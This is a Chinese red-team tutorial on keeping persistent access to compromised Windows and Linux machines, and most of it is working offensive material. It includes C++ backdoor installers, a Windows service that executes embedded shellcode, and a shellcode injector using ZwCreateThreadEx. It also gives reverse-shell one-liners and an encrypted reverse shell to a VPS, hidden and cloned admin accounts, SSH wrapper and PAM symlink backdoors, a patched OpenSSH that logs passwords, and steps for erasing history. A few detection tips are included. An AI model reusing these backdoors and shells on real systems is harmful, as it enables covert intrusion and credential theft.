内网渗透
一、权限维持
windows权限维持
0x01 前言
红队人员拿到一台主机权限后首先会考虑将该机器作为一个持久化的据点,种植一个具备持久化的后门,从而随时可以连接该被控机器进行深入渗透。通俗的说抓到一条鱼,不能轻易放走了。
0x02 辅助功能镜像劫持
为了使电脑更易于使用和访问,Windows 添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。
比如最常见的按5下shift出现的粘滞键Sethc.exe,还有Windows + U组合键时启动的utilman.exe程序
还有:
屏幕键盘: C:\Windows\System32\osk.exe
放大镜: C:\Windows\System32\Magnify.exe
旁白: C:\Windows\System32\Narrator.exe
显示切换器 C:\Windows\System32\DisplaySwitch.exe
应用切换器: C:\Windows\System32\AtBroker.exe
在较早的 Windows 版本,只需要进行简单的二进制文件替换,比如经典的shift后门是将C:\Windows\System32\sethc.exe替换为cmd.exe。
windows 2003,xp
可以可视化界面更换也可以命令行:
copy c:\windows\system32\sethc.ex c:\windows\system32\sethc1.exe
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
1、更高版本
我们需要用到IFEO,即映像劫持
什么是IFEO
所谓的IFEO就是Image File Execution Options,直译过来就是映像劫持。它又被称为“重定向劫持”(Redirection Hijack),它和“映像劫持”(Image Hijack,或IFEO Hijack)只是称呼不同,实际上都是一样的技术手段。白话来讲就是做某个操作的时候被拦截下来,干了别的事。
当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“debugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序。
2、可视化修改
在iexplorer.exe中加入键值对:debugger c:\windows\system32\cmd.exe
3、命令行修改
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
当然,需要管理员权限
0x03 启动项/服务后门
1、开始菜单启动项
指示启动文件夹的位置,具体的位置是“开始”菜单中的“所有程序”-“启动”选项:
C:\Users\SD\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
相关键值
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
重启后自启
由于每台电脑的快速启动目录不同,可以代码实现
#include <iostream>
#include <windows.h>
#include <shlobj.h>
#pragma comment(lib, "shell32.lib")
BOOL AutoRun_Startup(CHAR* lpszSrcFilePath, CHAR* lpszDestFileName)
{
BOOL ret = false;
CHAR szStartPath[MAX_PATH] = { 0 };
CHAR szDestFilePath[MAX_PATH] = { 0 };
//返回快速启动目录路径到szStartPath
ret = ::SHGetSpecialFolderPathA(NULL, szStartPath,CSIDL_STARTUP,TRUE);
//判断是否获取成功
if (ret == TRUE)
{
printf("[+]Get the quick start directory successfully!\n");
}
else
{
printf("[!]Get the quick start directory faild!\n");
return FALSE;
}
//构造文件在快速启动目录下的路径
::wsprintfA(szDestFilePath,"%s\\%s",szStartPath,lpszDestFileName);
//复制文件到快速启动目录下
ret = ::CopyFileA(lpszSrcFilePath, szDestFilePath, FALSE);
if (FALSE == ret)
{
printf("[!]Failed to save the file in the quick start directory.\n");
return FALSE;
}
else
{
printf("[!]Successfully to save the file in the quick start directory.\n");
}
printf("[+]Backdoor generation in quick start directory successful!\n");
return TRUE;
}
int main(int argc, char* argv[])
{
printf("[*]Useage:\n %s %s %s\n", "Run_StartUp.exe", "E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor.exe");
if (argc == 3)
{
AutoRun_Startup(argv[1], argv[2]);
}
else
{
printf("[!]Please check the number of your parameters\n");
}
}
启动项注册表后门
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
值得注意的是,HKEY_CURRENT_USER的改动不需要管理员权限
自己写的一个小工具
代码不多,也比较简单,还是分享出来:
#include <iostream>
#include <windows.h>
BOOL Reg_CurrentUser(const char* lpszFileName,const char* lpszValueName)
{
//定义一个注册表句柄
HKEY hKey;
//打开注册表键
if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey))
{
printf("[+] Open RegKey Successfully\n");
}
else
{
printf("[!] Open RegKey Error\n");
return FALSE;
}
if (ERROR_SUCCESS == ::RegSetValueExA(hKey, lpszValueName, 0, REG_SZ, (BYTE*)lpszFileName, (1 + ::lstrlenA(lpszFileName))))
{
printf("[+] Set Value Successfully\n");
}
else
{
::RegCloseKey(hKey);
printf("[!] Set Value Error\n");
return FALSE;
}
printf("[+] The registry backdoor about HKEY_CURRENT_USER is generated successfully\n");
::RegCloseKey(hKey);
return TRUE;
}
int main(int argc, char* argv[])
{
printf("[*]Useage:\n %s %s %s\n","ModifyReg.exe","E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor");
if (argc == 3)
{
Reg_CurrentUser(argv[1], argv[2]);
}
else
{
printf("[!]Please check the number of your parameters\n");
}
}
而更改HKEY_LOCAL_MACHINE却是需要管理员权限
重启后exe会自启,不一定是cmd程序,可以换成我们自己的马,达到维持权限的效果
使用命令行
修改HKLM
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "123" /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
同样需要管理员权限,代码跟上面差不多
HKEY_CURRENT_USER同理,但不需要管理员权限
2、自启动服务后门
在 Windows上还有一个重要的机制,也就是服务。服务程序通常默默的运行在后台,且拥有 SYSTEM 权限,非常适合用于后门持久化。我们可以将 EXE /DLL等可执行文件注册为服务实现后门持久化。
可以通过如下命令行方式添加一个服务
sc create "SD" binpath= "C:\Users\SD\Desktop\test.exe"
sc description "SD" "description" 设置服务的描述字符串
sc config "SD" start= auto 设置这个服务为自动启动
net start "SD" 启动服务
也可以直接编写一个服务,穿插着shellcode上线
#include <windows.h>
#include <iostream>
unsigned char buf[] ="\xfc\xe8\x89\x00\x00...............................................\x36\x38\x2e\x31\x2e\x31\x30\x36\x00\x12\x34\x56\x78";
#define SLEEP_TIME 5000 /*间隔时间*/
#define LOGFILE "C:\\Windows\\log1.txt" /*信息输出文件*/
SERVICE_STATUS ServiceStatus; /*服务状态*/
SERVICE_STATUS_HANDLE hStatus; /*服务状态句柄*/
void ServiceMain(int argc, char** argv);
void CtrlHandler(DWORD request);
int InitService();
int main(int argc, CHAR* argv[])
{
WCHAR WserviceName[] = TEXT("sddd");
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = WserviceName;
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
int WriteToLog(const char* str)
{
FILE* pfile;
fopen_s(&pfile, LOGFILE, "a+");
if (pfile == NULL)
{
return -1;
}
fprintf_s(pfile, "%s\n", str);
fclose(pfile);
return 0;
}
/*Service initialization*/
int InitService()
{
CHAR Message[] = "Monitoring started.";
OutputDebugString(TEXT("Monitoring started."));
int result;
result = WriteToLog(Message);
return(result);
}
/*Control Handler*/
void CtrlHandler(DWORD request)
{
switch (request)
{
case SERVICE_CONTROL_STOP:
WriteToLog("Monitoring stopped.");
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(hStatus, &ServiceStatus);
return;
case SERVICE_CONTROL_SHUTDOWN:
WriteToLog("Monitoring stopped.");
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(hStatus, &ServiceStatus);
return;
default:
break;
}
/* Report current status */
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
void ServiceMain(int argc, char** argv)
{
WCHAR WserviceName[] = TEXT("sddd");
int error;
ServiceStatus.dwServiceType =
SERVICE_WIN32;
ServiceStatus.dwCurrentState =
SERVICE_START_PENDING;
/*在本例中只接受系统关机和停止服务两种控制命令*/
ServiceStatus.dwControlsAccepted =
SERVICE_ACCEPT_SHUTDOWN |
SERVICE_ACCEPT_STOP;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hStatus = ::RegisterServiceCtrlHandler(
WserviceName,
(LPHANDLER_FUNCTION)CtrlHandler);
if (hStatus == (SERVICE_STATUS_HANDLE)0)
{
WriteToLog("RegisterServiceCtrlHandler failed");
return;
}
WriteToLog("RegisterServiceCtrlHandler success");
/* Initialize Service */
error = InitService();
if (error)
{
/* Initialization failed */
ServiceStatus.dwCurrentState =
SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
/*向SCM 报告运行状态*/
ServiceStatus.dwCurrentState =
SERVICE_RUNNING;
SetServiceStatus(hStatus, &ServiceStatus);
/*do something you want to do in this while loop*/
MEMORYSTATUS memstatus;
while (ServiceStatus.dwCurrentState ==
SERVICE_RUNNING)
{
char buffer[16];
GlobalMemoryStatus(&memstatus);
int availmb = memstatus.dwAvailPhys / 1024 / 1024;
sprintf_s(buffer, 100, "available memory is %dMB", availmb);
int result = WriteToLog(buffer);
if (result)
{
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus,
&ServiceStatus);
return;
}
Sleep(SLEEP_TIME);
}
WriteToLog("service stopped");
return;
}
这其实也是psexec的原理:建立连接后创建服务反弹shell
删除服务:
sc delete "SD"
0x04 系统计划任务后门
Windows实现定时任务主要有schtasks与at二种方式:
At 适用于windows xp/2003,Schtasks适用于win7/2008或者以后
每五分钟执行一次
schtasks /create /sc minute /mo 5 /tn "sd" /tr C:\Windows\System32\cmd.exe
0x05 DLL劫持
DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary 来看。熟悉Windows代 码的同学都知道,调⽤ LoadLibrary 时可以使⽤DLL的相对路径。这时,系统会按照特定的顺序搜索⼀ 些⽬录,以确定DLL的完整路径。根据MSDN⽂档的约定,在使⽤相对路径调⽤ LoadLibrary (同样适 ⽤于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的 DLL⽂件(会根据SafeDllSearchMode配置⽽稍有不同)。
- 程序所在⽬录。
- 加载 DLL 时所在的当前⽬录。
- 系统⽬录即 SYSTEM32 ⽬录。
- 16位系统⽬录即 SYSTEM ⽬录。
- Windows⽬录。
- PATH环境变量中列出的⽬录
dll劫持就发⽣在系统按照顺序搜索这些特定⽬录时。只要⿊客能够将恶意的DLL放在优先于正常DLL所在的⽬录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”。
在win7及win7以上系统增加了KnownDLLs保护,需要在如下注册表下添加dll才能顺利劫持:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
关于dll劫持的文章有很多,也需要去挖掘,这里推荐一篇文章入门:https://www.cnblogs.com/punished/p/14715771.html
0x06 Winlogon用户登录初始化
winlogon.exe是windows中非常重要的进程,在用户还没登录系统之前就已经存在,并与密码验证相关的重要任务精密相关。例如,当在用户登录时,Winlogon 进程负责将用户配置文件加载到注册表中:
HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
对这些注册表项的恶意修改可能导致 Winlogon 加载和执行恶意 DLL 或可执行文件。
命令行:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\cmd.exe," /f
可以powershell一句话更改
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,C:\Windows\system32\cmd.exe"
0x07 Logon Scripts后门
Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
注册表位置:
HKEY_CURRENT_USER\Environment
增加键值对
0x08 文件关联
文件关联就是将一种类型的文件与一个可以打开它的程序建立起一种依存关系,一个文件可以与多个应用程序发生关联。可以利用文件的"打开方式"进行关联选择。
我们可以用assoc命令显示或修改文件扩展名关联,我们可以看一下.txt文件的关联。
用ftype命令显示或修改用在文件扩展名关联中的文件类型。
修改\HKEY_CLASS_ROOT\txtfile\shell\open\command的默认值为我们要执行的程序
修改注册表(管理员权限):
reg add "HKCR\txtfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "C:\Windows\system32\cmd.exe %1" /f
再打开txt文件打开的是cmd
0x09 Bitsadmin
Windows操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务。这些实用程序之一是后台智能传输服务(BITS),它可以促进文件到Web服务器(HTTP)和共享文件夹(SMB)的传输能力。Microsoft提供了一个名为“ bitsadmin ” 的二进制文件和PowerShell cmdlet,用于创建和管理文件传输。
window7以上自带
.\bitsadmin.exe /transfer backdoor /download /priority high "http://192.168.1.106/CM.EXE" C:\1.exe
将文件放入磁盘后,可以通过从“ bitsadmin ”实用程序执行以下命令来实现持久性。
-
在创建参数需要作业的名称
-
该addfile需要文件的远程位置和本地路径
-
该SetNotifyCmdLine将执行的命令
-
所述SetMinRetryDelay定义时间回调(秒)
-
该简历参数将运行位工作。
bitsadmin /create backdoor bitsadmin /addfile backdoor "http://192.168.1.106/CM.EXE" "C:\1.exe" bitsadmin /SetNotifyCmdLine backdoorC:\1.exe NUL bitsadmin /SetMinRetryDelay "backdoor" 60 bitsadmin /resume backdoor
这里只是随便找了个exe测试,如果是c2的马的化可以直接上线
0x10 进程注入
之所以把注入也放到权限维持来说,因为注入更加隐蔽,尤其是拿到高权限后,难以被发现
如果是user权限可以考虑注入exploer.exe 如果是system权限则可以注入winlogon或者lassa
记一次实战中的注入,这里是我自己写的小工具
关于dll注入网上已经有很多教程,包括突破session 0,使用ZwCreateThreadEx创建一个线程
同样还有shellcode注入
一个demo
DWORD CeatRemoThread(DWORD pid)
{
HANDLE hThread;
DWORD dwOldProtect;
DWORD dwThreadId;
int shellcode_size = sizeof(buf);
//混淆
char* newBuf;
decrypt(buf, shellcode_size, (LPVOID*)&newBuf);
HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (hHandle == NULL)
{
printf("openprocessError");
free(newBuf);
return FALSE;
}
LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T dwSize = 0;
WriteProcessMemory(hHandle, Memory, newBuf, shellcode_size / 3, &dwSize);
//Sleep(3000);
VirtualProtectEx(hHandle, Memory, shellcode_size / 3, PAGE_EXECUTE, &dwOldProtect);
HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
if (hNtdll == NULL)
{
printf("[!] LoadNTdll Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
printf("[*] Load ntdll.dll Successfully!\n");
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown
);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown
);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL)
{
printf("[!] Get ZwCreateThreadEx Address Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %x\n", ZwCreateThreadEx);
}
HANDLE hRemoteThread = NULL;
DWORD ZwRet = 0;
ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,
(LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL);
if (hRemoteThread == NULL)
{
printf("[!] Creat RemoteThread Error,Error is:%d\n", GetLastError());
getchar();
VirtualFreeEx(hHandle, Memory, 0, MEM_RELEASE);
CloseHandle(hHandle);
FreeLibrary(hNtdll);
return FALSE;
}
WaitForSingleObject(hRemoteThread, INFINITE);
return TRUE;
}
0x11 屏幕保护程序
利用前提:对方开启了屏幕保护
屏幕保护程序,当初的设计是为了防止长期屏幕的显示,预防老化与缩短屏幕显示器老化的一种保护程序。
在对方开启屏幕保护的情况下,我们可以修改屏保程序为我们的恶意程序从而达到后门持久化的目的,攻击者可以利用屏幕保护程序来隐藏shell,达到一定的权限维持。
注册表位置:
HKEY_CURRENT_USER\Control Panel\Desktop
命令行修改:
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /d C:\Windows\System32\cmd.exe
这里可以改成我们的马,达到维持权限的效果,具体时间为注册表的ScreenSaverTimeout值有关
0x12 WMI构造无文件后门
WMI是一项Windows管理技术,其全称是Windows Management Instrumentation,即Windows管理规范。大多数基于Windows的软件依赖于此服务。
无文件无进程使得他非常隐蔽成为后门,但由于他的隐蔽性现在被大多数杀软所查杀。
通过与Powershell命令配合使用可以实现无文件,具有良好的隐蔽性也是目前较为常用的持久化手段。
如果展开讲会讲很久,这里推荐一篇比较详细的文章:[https://wooyun.js.org/drops/WMI 的攻击,防御与取证分析技术之攻击篇.html](https://wooyun.js.org/drops/WMI 的攻击,防御与取证分析技术之攻击篇.html)
$filterName = 'SD'
$consumerName = 'SDD'
$exePath = 'C:\Windows\System32\cmd.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=200 AND TargetInstance.SystemUpTime < 320"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
可以使用Autoruns进行查看
0x13 影子用户
影子用户即创建的隐藏用户,它无法通过普通命令进行查询,比较隐蔽。
这里以win10作为演示
们先利用命令创建一个隐藏用户,并将其加入本地管理员组。
net user test$ 123456 /add
net localgroup administrators test$ /add
net user无法查看
但是可以在计算机管理和登陆页面中看到
1、解决办法
打开注册表:
HKEY_LOCAL_MACHINE\SAM\SAM
修改权限:
修改完权限之后,我们重新启动注册表即可继续查看内容。
2、查看F值
导出这三个值
test\(导出为1.reg
000003EC包含test\)用户的F值,导出另存为2.reg
000003E9包含WIN10用户的F值,导出另存为3.reg
将2.reg中的F值替换为3.reg中的F值,即将test$用户的F值替换为WIN10用户的F值
删除test$
net user test$ /del
注册表就已经无法打开了
导入注册表
regedit /s 1.reg
regedit /s 2.reg
查看效果
但登录界面已经没有账户
3389直接登录,以test$账号登录
但是登陆之后的身份却是原来WIN10用户,桌面也是原用户的,达到克隆效果。
linux权限维持
0x01 反弹shell命令合集
bash
bash -c 'exec bash -i &>/dev/tcp/host/port <&1'
bash -c 'exec bash -i 5<>/dev/tcp/host/port 0>&5 1>&5'
perl
perl -e 'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("127.0.0.1","20001");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Netcat
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 20001 >/tmp/f
Telnet
TF=$(mktemp -u); mkfifo $TF && telnet 127.0.0.1 20001 0<$TF | /bin/sh 1>$TF
awk
awk 'BEGIN{s="/inet/tcp/0/127.0.0.1/20001";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
设备拦截
思考:假设渗透过程中,发现目标环境无法反弹shell,最后测试得出只开放了80和443.通过白名单反弹shell时又发现流量被拦截了,如何应对这种情况?
可以尝试通过加密数据包的方式来逃避流量监控设备.
第一步:
在VPS 上生成 SSL 证书的公钥/私钥对:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
第二步:
VPS 监听反弹 shell:
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
第三步:
连接:
mkfifo /tmp/wing;/bin/bash -i < /tmp/wing 2>&1 |openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/wing
但这时你会发现,这个shell不太好用,没有基本的命令补全.
解决方法:
python -c 'import pty; pty.spawn("/bin/bash")'
pty是一个伪终端模块
pty.spawn(argv[, master_read[, stdin_read]])
产生一个进程,并将其控制终端与当前进程的标准io连接。这通常用于阻挡坚持从控制终端读取的程序。
函数 master_read 和 stdin_read 应该是从文件描述符读取的函数。默认值尝试在每次调用时读取1024字节。
在 3.4 版更改: spawn() 现在从子进程的 os.waitpid() 返回状态值
有时候提权以后终端也是会出现类似问题,一般这个方法可以解决.
0x02 后门篇
1、一句话添加用户和密码
添加普通用户:
# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test
添加root用户:
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
可疑用户排查技巧:
# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
2、SUID Shell
Suid shell是一种可用于以拥有者权限运行的shell。
配合普通用户权限使用
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
使用guest用户登录就可疑获取root权限。
备注:bash2针对suid做了一些防护措施,需要使用-p参数来获取一个root shell。另外,普通用户执行这个SUID shell时,一定要使用全路径。
排查技巧:
# 在Linux中查找SUID设置的文件
find . -perm /4000
# 在Linux中查找使用SGID设置的文件
find . -perm /2000
# 取消s权限
chmod u-s /tmp/shell
3、ssh公私钥免密登录
在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。
客户端:
ssh-keygen -t rsa
过程中按三次回车,执行结束如下图:
进入/root/.ssh/文件夹,查看文件夹的内容,如下所示:
其中 id_rsa
为私钥,id_rsa.pub
为公钥,接下来打开id_rsa.pub
,将内容复制到服务器。将id_rsa.pub
的内容追加到/root/.ssh/authorized_keys
内,配置完成。
排查技巧:查看/root/.ssh/authorized_keys
是否被修改。
4、软连接
在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su
在/etc/pam.d/
目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so
,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。
在目标服务器上执行一句话后门:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
执行完之后,任何一台机器ssh root@IP -p 8888
,输入任意密码,成功登录。
排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。
5、SSH wrapper
首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
服务端:
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
客户端:
socat STDIO TCP4:target_ip:22,sourceport=13377
#如果你想修改源端口,可以用python的struct标准库实现。其中x00x00LF是19526的大端形式,便于传输和处理。
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
排查技巧:
# ls -al /usr/sbin/sshd
# cat /usr/sbin/sshd
可通过重装ssh服务恢复。
6、strace后门
通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。
#vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
# source /root/.bashrc
排查技巧:使用alias
即可发现异常。
7、crontab反弹shell
crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。
a、创建shell脚本,例如在/etc/evil.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345 0>&1
chmod +sx /etc/evil.sh
b、crontab -e 设置定时任务
#每一分钟执行一次
*/1 * * * * root /etc/evil.sh
重启crond服务,service crond restart
,然后就可以用nc接收shell。
排查技巧:
# 查看可疑的定时任务列表
crontab -e
8、openssh后门
利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现。
a、备份SSH配置文件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
b、解压并安装补丁
tar zxf openssh-5.9p1.tar.gz
tar zxf openssh-5.9p1.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff
c、记录用户名和密码的文件位置及其密码
vi includes.h
#define ILOG "/tmp/1.txt" //记录登录本机的用户名和密码
#define OLOG "/tmp/2.txt" //记录本机登录远程的用户名和密码
#define SECRETPW "123456789" //后门的密码
d、修改版本信息
vi version.h
#define SSH_VERSION "填入之前记下来的版本号,伪装原版本"
#define SSH_PORTABLE "小版本号"
e、安装并编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make clean
make && make install
service sshd restart
f、对比原来的配置文件,使配置文件一致,然后修改文件日期。
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
g、清除操作记录
export HISTFILE=/dev/null
export HISTSIZE=0
echo >/root/.bash_history //清空操作日志
排查技巧:利用strace找出ssh后门.
# 1、获取可疑进程PI
ps aux | grep sshd
# 2、跟踪sshd PID
strace -o aa -ff -p PID
# 3、查看记录密码打开文件
grep open sshd* | grep -v -e No -e null -e denied| grep WR
9、PAM后门
